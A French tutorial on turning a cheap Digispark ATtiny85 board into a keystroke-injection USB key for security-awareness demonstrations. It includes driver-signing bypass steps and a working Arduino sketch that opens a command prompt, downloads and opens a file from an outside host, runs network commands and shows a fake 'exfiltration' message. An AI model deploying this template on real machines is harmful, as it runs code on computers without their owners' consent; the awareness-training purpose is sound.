Je veux sensibiliser au danger des clés USB inconnues

Mon objectif

Dans le contexte de formations aux utilisateurs informatiques, il est crucial de les sensibiliser aux risques liés à l’utilisation de clés USB inconnues.

Pour marquer les esprits, une démonstration pratique est souvent plus efficace qu’un simple discours. C’est pourquoi je souhaite me procurer une clé USB capable de simuler des dommages sur un ordinateur, afin de montrer concrètement les dangers encourus.

Les Rubber Ducky sont des clés USB utilisées par les pirates informatiques, mais leur coût est souvent prohibitif. Je cherche donc une solution plus économique pour créer cet outil de sensibilisation.

En somme, je souhaite trouver une alternative abordable aux Rubber Ducky pour sensibiliser les utilisateurs aux risques liés à l’utilisation de clés USB inconnues, en utilisant une clé USB capable de simuler des dommages sur un ordinateur.

Que sont des Rubber Ducky ?

Les Rubber Ducky sont des clés USB conçues pour simuler un clavier lorsqu’elles sont connectées à un ordinateur. Elles sont souvent utilisées par les pirates informatiques pour effectuer des attaques de type “keystroke injection” (injection de frappe), qui consistent à simuler des frappes de clavier pour exécuter des commandes malveillantes sur un ordinateur cible.

Les Rubber Ducky sont équipées d’un microcontrôleur programmable qui peut stocker des scripts préenregistrés. Lorsqu’elles sont connectées à un ordinateur, elles se comportent comme un clavier USB standard et peuvent envoyer des séquences de touches préenregistrées à une vitesse très élevée, ce qui permet d’exécuter des commandes complexes en quelques secondes seulement.

Les Rubber Ducky sont souvent utilisées pour des tests d’intrusion ou des démonstrations de sécurité informatique, mais elles peuvent également être utilisées à des fins malveillantes, comme le vol de données ou l’installation de logiciels malveillants. Il est donc important de sensibiliser les utilisateurs aux risques liés à l’utilisation de clés USB inconnues et de prendre des mesures de sécurité appropriées pour protéger les ordinateurs contre les attaques de type “keystroke injection”.

Comme expliqué dans le paragraphe précédent, mon objectif est de sensibiliser les utilisateurs d’outils informatiques et leur démontrant la dangerosité d’insérer une clé USB inconnue dans leur ordinateur.

Voici le prix des Rubber Ducky, d’où mon souhait de trouver une solution autre, le prix est éliminatoire pour l’utilité que je vais en avoir.

Je vais utiliser une Digispark Rev. 3 équipé d’une ATTINY85

Je vais utiliser un équipement beaucoup plus léger car il n’a que 6k de mémoire, mais cela est suffisant, je ne vais pas lancer de script complexe.

Cet équipement vaut entre 4 et 7 euros.

Vous pouvez le commander chez les chinois directement en priant que vous aurez la bonne version ou chez Amazon en lot de 3.

Les connecteurs ne me seront pas utiles, je ne vais pas le flasher.

Contraintes de la Digispark ATTINY85

Si on compare une Rubber Ducky et une Digispark, on se rend compte que la première et principale limite se situe au niveau de la capacité de stockage des scripts utilisables.

Le microcontrôleur ATtiny85 dispose de 8 ko de mémoire flash, mais une partie de cette mémoire est utilisée pour stocker le bootloader et le code du programme d’application. En général, la quantité de mémoire disponible pour le stockage de données sur une clé Digispark ATtiny85 est d’environ 6 ko. Pour mon utilisation, cela est suffisant.

Les clés Rubber Ducky disposent de fonctionnalités avancées telles que la possibilité de simuler des périphériques USB autres qu’un clavier, comme une souris ou un disque dur externe. Les clés Digispark ATtiny85 sont plus limitées dans ce domaine et ne peuvent généralement simuler qu’un clavier USB. Cela me convient également.

Je télécharge les pilotes de la Digispark

Je vais procéder à l’installation des pilotes de la Digispark sur mon ordinateur personnel. Bien que cela puisse sembler être une tâche complexe et délicate, il est important de noter que cette manipulation ne doit être effectuée que sur mon propre ordinateur et non sur les ordinateurs ciblés par la simulation de dommages. En effet, une fois la Digispark branchée sur un ordinateur, elle sera reconnue comme un clavier.

Je charge donc les fichiers nécessaires à l’installation des drivers :

Une fois téléchargé et décompresser, c’est le fichier qui permettra d’installer les drivers.

Ce driver n’étant pas signé, normalement Windows va bloquer sont installation, il faut donc désactiver temporairement la signature obligatoire des pilotes.

Je désactive la signature obligatoire des pilotes

Je vais désactiver temporairement la signature obligatoire des pilotes sur mon ordinateur. Cette opération ne présente aucun risque et sera automatiquement annulée au prochain redémarrage de l’ordinateur. Cette étape est nécessaire pour permettre l’installation des pilotes de la Digispark, qui n’ont pas été signés numériquement par un éditeur de confiance.

Je vais dans Paramètres puis Récupération pour appuyer sur le bouton Redémarrage maintenant

Puis au redémarrage, choisir Dépannage

puis Options avancées puis Paramètres

Le PC redémarrage et au redémarrage, voici les choix :

Je veux l’option 7 donc j’appuie sur F7.

J’installe les pilotes de la Digispark

Je peux maintenant lancer le fichier Install Drivers.exe

J’installe l’IDE d’Arduino

L’IDE (Integrated Development Environment) d’Arduino est un logiciel open-source qui permet de programmer les cartes Arduino et d’autres cartes compatibles. C’est lui qui va me permettre de saisir le code du script que je souhaite exécuter et le téléverser ensuite dans la clé Digispark.

Rien de bien compliqué, tout s’installe tout seul.

J’intègre le pack Digispark à l’IDE

Pour piloter la carte Digispark, il est nécessaire d’utiliser le pack Digispark.

Je lance IDE Arduino, puis Fichier puis Préférences.

Je dois compléter l’URL de gestionnaire de cartes supplémentaires

Dans tous les tutos et autres doc que vous trouverez sur internet, il est spécifié ce lien :

Mais au jour de mes essais, ce lien ne fonctionnait pas, le site digistump étant HS.

Voici le lien que j’ai utilisé :

Dans Outils, Cartes, Gestionnaire de cartes, taper digistrump puis cliquer sur Installer de Digistump AVR Boards

Puis retourner sélectionner le carte Default dans Outils, Carte, Digistump AVR Boards, puis Digisdpark Default 16.5mhz.

 

J’installe le clavier QWERTY

Pour ne pas me faire piéger sur l’écriture des commandes à envoyer, j’installe un clavier américain en QWERTY. Ainsi quand je saisirai des commandes à exécuter ou à afficher, je basculerai le clavier en ENG.

Je saisis mon code/script

Voici mon script :

#include <DigiKeyboard.h>

void setup() {
    //pinMode(1, OUTPUT); // LED brille plus si déclarée en output
    digitalWrite(1, HIGH); // Allume la LED rouge (pour signaler que l'execution est en cours)
    DigiKeyboard.delay(3000); // Attendre 3 secondes

    DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Ouvrir une fenêtre d'exécution Windows
    DigiKeyboard.delay(500); 
    DigiKeyboard.print("c;d"); // Écrire "cmd"
    DigiKeyboard.delay(500); 
    DigiKeyboard.sendKeyStroke(KEY_ENTER); // Simuler l'appui de la touche "ENTRÉE"

    DigiKeyboard.delay(500); 
    DigiKeyboard.print("curl 6o ;usic<;p# https.>>uploqdsong<netlify<qpp>;usic<;p#"); // Écrire "curl -o music.mp3 https://uploadsong.netlify.app/music.mp3"
    DigiKeyboard.delay(500); 
    DigiKeyboard.sendKeyStroke(KEY_ENTER); // Simuler l'appui de la touche "ENTRÉE"


    DigiKeyboard.delay(500); 
    DigiKeyboard.print("ipconfig >qll"); // Écrire "ipconfig /all"
    DigiKeyboard.sendKeyStroke(KEY_ENTER); // Simuler l'appui de la touche "ENTRÉE"
    DigiKeyboard.delay(500); 
    DigiKeyboard.print("exit"); // Écrire "exit"
    DigiKeyboard.sendKeyStroke(KEY_ENTER); // Simuler l'appui de la touche "ENTRÉE"

    DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Ouvrir une fenêtre d'exécution Windows
    DigiKeyboard.delay(500); 
    DigiKeyboard.print(";usic<;p#"); // Écrire "music.mp3"
    DigiKeyboard.sendKeyStroke(KEY_ENTER); // Simuler l'appui de la touche "ENTRÉE"
    DigiKeyboard.delay(1000); 

    int color = 1;
    while (color < 5) {
        DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Ouvrir une fenêtre d'exécution Windows
        DigiKeyboard.delay(500); 
        DigiKeyboard.print("c;d"); // Écrire "cmd"
        DigiKeyboard.delay(500); 
        DigiKeyboard.sendKeyStroke(KEY_ENTER);
        DigiKeyboard.delay(1000); 
        switch (color) {
        case 0:
          DigiKeyboard.print("echo off1color )1cls1tree");// Écrire "echo off&color 0&cls&tree"
          break;
        case 1:
          DigiKeyboard.print("echo off1color !1cls1trqcert *<*<*<*"); // Écrire "echo off&color 1&cls&tracert 8.8.8.8"
          break;
        case 2:
          DigiKeyboard.print("echo off1color @1cls1PING google<fr 6n !))");// Écrire "echo off&color 2&cls&ping google.fr -n 100"
          break;
        case 3:
          DigiKeyboard.print("echo off1color #1cls1tree");// Écrire "echo off&color 3&cls&tree"
          break;
        case 4:
          DigiKeyboard.print("echo off1color $1cls1trqcert *<*<*<*");// Écrire "echo off&color 4&cls&tracert 8.8.8.8"
          break;
        }
        DigiKeyboard.sendKeyStroke(KEY_ENTER); // Simuler l'appui de la touche "ENTRÉE"
        DigiKeyboard.delay(500); 
        color++;
    }

    DigiKeyboard.delay(1000); 
    DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Ouvrir une fenêtre d'exécution Windows
    DigiKeyboard.delay(500); 
    DigiKeyboard.print("notepqd"); // Écrire "notepad"
    DigiKeyboard.sendKeyStroke(KEY_ENTER); // Simuler l'appui de la touche "ENTRÉE"
    DigiKeyboard.delay(1000); 
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    DigiKeyboard.print("   Coucou // Ordinqteur pirqt2< Do;;qge "); 
    DigiKeyboard.sendKeyStroke(KEY_ENTER); // Simuler l'appui de la touche "ENTRÉE"  
    while (color < 15)
    {
        DigiKeyboard.sendKeyStroke(KEY_ENTER); // Simuler l'appui de la touche "ENTRÉE"  
        DigiKeyboard.print("   Exfiltrqtion des donn2es en cours<<< "); 
        delay(300);
        color++;
    }
    digitalWrite(1, LOW); // Eteindre la Led Rouge
}

void loop() {
}

Je l’ai commenté au maximum.

Je le téléverse dans la clé Digispark

Je ne branche pas la clé, je lance la compilation ainsi que le téléversement avec le bouton avec la flèche vers la droite :

Quand la console affiche plug in device now, je peux insérer la clé Digispark

Le téléversement est extra rapide, soit j’arrive à retirer la clé avant que le script se lance soit je bénéficie du premier lancement du script de la clé…

C’est terminé, la clé est prête.

Ainsi, pour simuler une attaque par injection de frappe, il suffit de glisser la clé dans un port USB.

Bibliographie pour aller plus loin